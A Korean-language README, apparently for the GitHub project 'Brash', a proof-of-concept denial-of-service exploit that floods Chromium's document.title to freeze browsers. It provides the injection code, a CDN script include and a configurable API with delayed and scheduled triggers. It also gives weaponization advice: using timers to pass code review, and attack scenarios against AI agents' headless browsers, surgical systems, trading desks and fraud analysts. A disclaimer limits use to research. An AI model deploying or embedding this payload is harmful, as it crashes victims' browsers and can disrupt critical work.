jofpin/brashdocument.title 악용을 통한 Chromium 브라우저 DoS 공격
Brash는 Google의 Chromium 기반 브라우저를 구동하는 렌더링 엔진인 **Blink**의 치명적인 취약점입니다. 특정 DOM 작업이 관리되는 방식의 아키텍처 결함을 악용하여 모든 Chromium 브라우저를 15~60초 안에 붕괴시킬 수 있습니다.
공격 벡터는 document.title API 업데이트에 대한 속도 제한이 전혀 없다는 점에서 비롯됩니다. 이를 통해 초당 수백만 건의 DOM 변형을 주입할 수 있으며, 이 주입 시도 중에 메인 스레드가 포화되어 이벤트 루프가 중단되고 인터페이스가 붕괴됩니다. 그 영향은 상당하여 높은 CPU 리소스를 소비하고 전체 시스템 성능을 저하시키며 동시에 실행 중인 다른 프로세스를 중단하거나 지연시킬 수 있습니다. 데스크톱, Android 및 임베디드 환경의 Chromium 브라우저에 영향을 미침으로써 이 취약점은 인터넷상의 30억 명 이상의 사용자를 시스템 수준의 서비스 거부(DoS)에 노출시킵니다.
상태: 작동 중
영향을 받는 버전: Chromium ≤ 143.0.7483.0 (테스트됨: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] 현재 익스플로잇은 작동 중입니다. 취약점이 패치되면 이 코드는 더 이상 작동하지 않습니다. 그럼에도 불구하고 이 아키텍처 결함을 발견하고 세상에 의미 있는 무언가를 공유하기 위해 전체 연구, 문서화 및 설계 과정을 완료한 것은 매우 보람찬 여정이었습니다.
취약점의 영향을 검증하기 위해 macOS, Windows, Linux에서 11개의 주요 브라우저를 테스트했습니다.
결함이 Blink 렌더링 엔진의 핵심에 존재하므로 모든 Chromium 기반 브라우저가 취약합니다:
Brash는 Blink 렌더링 엔진의 근본적인 아키텍처 결함, 즉 document.title 업데이트에 대한 스로틀링 부재를 악용합니다. 공격은 세 가지 중요한 단계로 작동합니다:
공격을 시작하기 전에 512자로 구성된 100개의 고유한 16진수 문자열을 생성하여 메모리에 저장합니다.
실시간으로 생성하는 대신 미리 로드하는 이유는 무엇인가?
새 문자열을 지속적으로 생성하면 수학 연산에 CPU 시간이 소비되기 때문입니다. 그 시간은 매우 중요합니다. 문자열 생성에 소비되는 모든 밀리초는 document.title 업데이트로 브라우저를 공격하는 데 사용되지 않는 시간입니다.
100개의 문자열을 이미 메모리에 로드해 두면:
그 결과, 업데이트당 최대 메모리 소비로 최대 주입 속도를 달성합니다.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
구성 가능한 버스트 방식의 제목 업데이트를 실행합니다. 기본 구성(버스트: 8000, 간격: 1ms)에서는 초당 약 2,400만 건의 업데이트를 주입하려고 시도하며, 이 시도가 시작되는 순간 브라우저 붕괴가 시작됩니다.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
지속적인 업데이트가 브라우저의 메인 스레드를 포화시켜 다른 이벤트의 처리를 방해합니다:
붕괴 타임라인:
왜 동작하는가?
Blink는 각 document.title 변경을 속도 제한 없이 메인 스레드에서 동기적으로 처리합니다. 이로 인해 다음과 같은 병목 현상이 발생합니다:
Brash의 영향을 완전히 이해하려면 통제된 라이브 데모부터 직접 구현에 이르기까지 다양한 컨텍스트에서 익스플로잇을 경험할 수 있습니다. 각 옵션은 서로 다른 수준의 상호작용과 기술적 이해를 위해 설계되었습니다.
Brash가 작동하는 모습을 가장 빠르게 확인할 수 있는 방법입니다. **https://brash.run**을 방문하세요
그래픽 인터페이스 없이 익스플로잇을 보려면 **https://brash.run/hidden-live-demo.html**을 방문하세요. 이 버전은 실제 공격을 시뮬레이션하여 주입을 보이지 않게 실행합니다.
자체 환경에서 데모를 실행하려면 저장소에 포함된 exploit-demo/ 디렉토리에서 다음을 수행할 수 있습니다:
아무 Chromium 브라우저에서 exploit-demo/index.html을 열고 시작 전에 burst 및 interval 값을 구성하기만 하면 됩니다.
Brash를 자체 보안 테스트 또는 연구에 통합하려면 스크립트를 포함하고 공격을 구성하세요:
스크립트 포함:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API 사용법:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
강도 구성:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
참고: 각 버스트는 3개의 순차적
document.title업데이트를 실행합니다. 예를 들어 burstSize: 400 = 간격당 실제 1,200회 업데이트입니다.
Brash는 경제적 손실부터 인명 피해 위험에 이르는 결과를 초래하는 여러 중요 컨텍스트에서 무기화될 수 있습니다.
Brash의 위험성을 증폭시키는 중요한 기능은 특정 시점에 실행되도록 프로그래밍할 수 있다는 점입니다. 공격자는 시간적 트리거와 함께 코드를 주입하여 사전에 결정된 정확한 시간까지 잠복 상태를 유지할 수 있습니다.
기술적 구현:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
매개변수:
burstSize: 주기당 업데이트 수interval: 주기 사이의 밀리초delay: 숫자(초) 또는 문자열 ("30s", "5000ms", "3m")scheduled: ISO 문자열 또는 Date 객체delay 매개변수가 특히 치명적인 이유:
링크를 언제 열지 알 필요 없음: 피해자가 페이지를 여는 순간부터 X초를 기다리기만 하면 됩니다.
신뢰를 구축할 시간: 대기 시간 동안 피해자는 정당해 보이는 콘텐츠(양식, 문서, 동영상)와 상호작용합니다.
초기 검사 회피: 누군가 코드를 빠르게 검토하면 비활성 상태로 보입니다. 공격은 나중에야 실행됩니다.
완벽한 심리적 타이밍: 피해자가 작업에 깊이 몰입할 때까지 기다립니다(시험 중간, 회의 중간, 중요 절차 중).
delay 사용 시 일반적인 시나리오:
00:00 - 피해자가 "Q4 Documents.pdf" 링크를 엽니다
00:30 - 피해자가 문서를 검토하며 정상적으로 보입니다
02:00 - 피해자가 50명이 있는 회의에서 화면을 공유합니다
03:00 - 공격 실행 - 모든 브라우저가 붕괴됩니다
scheduled 매개변수 또한 파괴적인 이유:
정밀한 동기화: 공격자는 최대 영향을 미칠 정확한 순간(시장 개장, 최대 운영 시간)을 선택합니다.
전 세계 동시다발 공격: 동일한 초에 여러 표적을 동시에 타격할 수 있습니다.
사전 탐지 회피: 악성 코드는 실행되지 않은 채 수일 또는 수주 전부터 존재하여 보안 검토를 통과할 수 있습니다.
중지 불가능: 공격이 실행되는 시점에는 이를 막기에는 너무 늦습니다.
전략적 타이밍 예시:
이러한 운동적 타이밍 능력은 Brash를 단순한 방해 도구에서 시간적 정밀 무기로 변모시킵니다. 공격자는 "무엇"과 "어디서"뿐만 아니라 **"언제"**까지도 밀리초 단위의 정확도로 통제할 수 있습니다.
시나리오: 웹 스크래핑, 시장 분석, 경쟁사 모니터링 또는 고객 지원 자동화를 위해 AI 에이전트에 의존하는 기업 시스템은 헤드리스 브라우저(Chromium/Puppeteer)를 사용하여 매일 수천 개의 웹사이트를 쿼리합니다. 공격자는 이러한 에이전트가 쿼리하는 인기 사이트에 Brash를 주입합니다.
중요한 자동화 작업 중:
증폭된 공격 벡터:
실질적 영향: 중요 자동화 작업의 마비, 실행되지 않은 결정으로 인한 경제적 손실, AI 의존 서비스의 대규모 성능 저하, 인프라 복구 비용, 자동화 에이전트에 대한 중요한 의존성 노출.
시나리오: 심혈관 외과 의사가 웹 기반 수술 내비게이션 시스템(최소 침습 수술에서 점점 더 보편화되고 있음)의 지원을 받아 관상동맥 우회술을 수행하고 있습니다. 시스템은 실시간 영상, 환자의 활력 징후, 로봇 수술 기구 안내를 제공합니다.
수술의 가장 중요한 단계에서 브라우저 알림이 나타납니다: "경고: 중요한 수술 시스템 업데이트 - 지금 적용하지 않으면 수술이 실패할 수 있습니다."
당황하여 클릭하면:
실질적 영향: 환자 사망의 직접적 위험, 영구적 손상 가능성, 의료진의 심리적 트라우마, 기술적 과실에 대한 수백만 달러 규모의 소송.
시나리오: 월스트리트 시장 개장 중에 악의적인 공격자가 Brash를 여러 채널에 동시에 주입합니다: 블룸버그 터미널 웹 인터페이스, 기관 트레이더 채팅, 전문 포럼. 링크는 "유출: 연준(Fed) 긴급 회의록 - 금리 인하 확정"을 약속합니다.
거래 시작 후 첫 30초(최대 유동성) 동안:
실질적 영향: 수조 달러의 시가총액 손실, 글로벌 금융 패닉, SEC 조사, 시장에 대한 잠재적 신뢰 위기.
시나리오: 은행의 사기 분석가가 웹 대시보드를 통해 의심스러운 거래 알림을 실시간으로 처리합니다. 블랙 프라이데이(거래 최대치) 동안 그들은 회사 이메일로 Brash를 받습니다: "새로운 사기 패턴 감지 - 긴급 분석 필요."
거래량이 가장 많은 순간:
실질적 영향: 수백만 달러의 직접 손실, 수천 명의 고객에 대한 사기 청구, 대규모 평판 손상, 예방 시스템 장애에 대한 규제 벌금.
이러한 시나리오는 이론적인 것이 아닙니다. Brash의 단순함은 웹 브라우저에 의존하는 모든 운영에 실질적인 위협이 되게 하며, 2025년 기준으로 이는 사실상 모든 것을 의미합니다.
Brash의 제작은 우리가 매일 사용하는 웹 기술에 기본적인 보호 장치가 없을 때 무슨 일이 일어나는지 입증하기 위한 노력입니다. 취약점의 핵심은 복잡한 코드나 고급 기술에 있는 것이 아니라, 설계상 스로틀링이 적용되어야 하는 API에 속도 제한이 근본적으로 없다는 점에 있습니다.
Brash가 30억 명 이상의 Chromium 브라우저 사용자에게 미치는 영향은 Blink와 같은 핵심 구성 요소의 아키텍처 결함이 거대하고 전 세계적인 결과를 초래한다는 것을 보여줍니다. 이것은 고립된 버그가 아니라 Chromium 생태계 전체에 영향을 미치는 설계 결함입니다.
가장 위험한 것들은 가장 예상하지 못한 곳, 가장 무시되는 곳에 숨어 있다. - Jose Pino
이 PoC는 인터넷을 더 안전한 곳으로 만드는 데 기여하기 위해 교육 및 보안 연구 목적으로만 제공됩니다. 실행은 통제된 환경에서만 수행되어야 하며, 프로덕션 시스템, 공개 웹사이트 또는 중요한 데이터가 포함된 기기에서 사용해서는 안 됩니다.
이 익스플로잇을 오용하면 브라우저 충돌, 데이터 손실 및 시스템 불안정이 발생할 수 있습니다. 저자는 이 PoC의 사용 또는 오용으로 인해 발생하는 모든 손해, 데이터 손실 또는 법적 결과에 대해 책임을 지지 않습니다. Brash를 사용함으로써 귀하는 이러한 위험을 이해하고 있음을 인정하며 격리된 환경에서의 합법적인 보안 연구에만 사용하는 것에 동의합니다.
사용자는 모든 관련 법률 및 규정을 준수해야 합니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이 익스플로잇을 무단 사용하는 것은 불법적이고 비윤리적입니다.
이 프로젝트의 콘텐츠 자체는 크리에이티브 커먼즈 저작자표시 3.0 라이선스에 따라 라이선스가 부여되며, 해당 콘텐츠의 형식 지정 및 표시에 사용된 기본 소스 코드는 MIT 라이선스에 따라 라이선스가 부여됩니다.
저작권 (c) 2025, Jose Pino